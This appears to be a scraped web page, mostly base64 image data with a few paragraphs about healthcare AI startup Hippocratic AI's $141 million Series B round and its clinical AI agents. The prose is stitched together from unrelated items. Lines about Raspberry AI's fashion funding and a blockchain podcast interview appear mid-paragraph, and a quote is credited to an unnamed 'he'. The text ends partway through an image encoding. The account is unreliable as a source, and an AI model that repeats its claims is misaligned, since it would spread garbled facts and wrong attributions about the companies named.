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" width="302px" alt="a16z generative ai"/></p>
<p><p>For instance, one of its AI agents is specialized in chronic care management, medication checks and post-discharge follow-up regarding specific conditions such as kidney failure and congestive heart failure. The healthcare-focused artificial intelligence startup Hippocratic AI Inc. said today it has closed on a $141 million Series B funding round that brings its total amount raised to more than $278 million. “This round of financing will accelerate the development and deployment of the Hippocratic generative AI-driven super staffing and continue our quest to make healthcare abundance a reality,” he promised. Raspberry AI, the generative AI platform for fashion creatives, has secured 24 million US dollars in Series A funding led by Andreessen Horowitz (a16z). Today, we’re going in-depth on blockchain innovation with Robert Roose, an entrepreneur who’s on a mission to fix today’s broken monetary system. Hippocratic AI’s early customers include Arkos Health Inc., Belong Health Inc., Cincinnati Children’s, Fraser Health Authority (Canada), GuideHealth, Honor Health, Deca Dental Management, LLC, OhioHealth, WellSpan Health and other well-known healthcare systems and hospitals.</p>
</p>
<p><p>By incorporating this wisdom into its AI agents, it’s making them safer and improving patient outcomes, it said. Crucially, any agent created using its platform will undergo extensive safety training by both the creator and Hippocratic AI’s own staff. Every clinician will have access to a dashboard to track their AI agent’s performance and use and receive feedback for further development.</p>
</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="data:image/jpeg;base64,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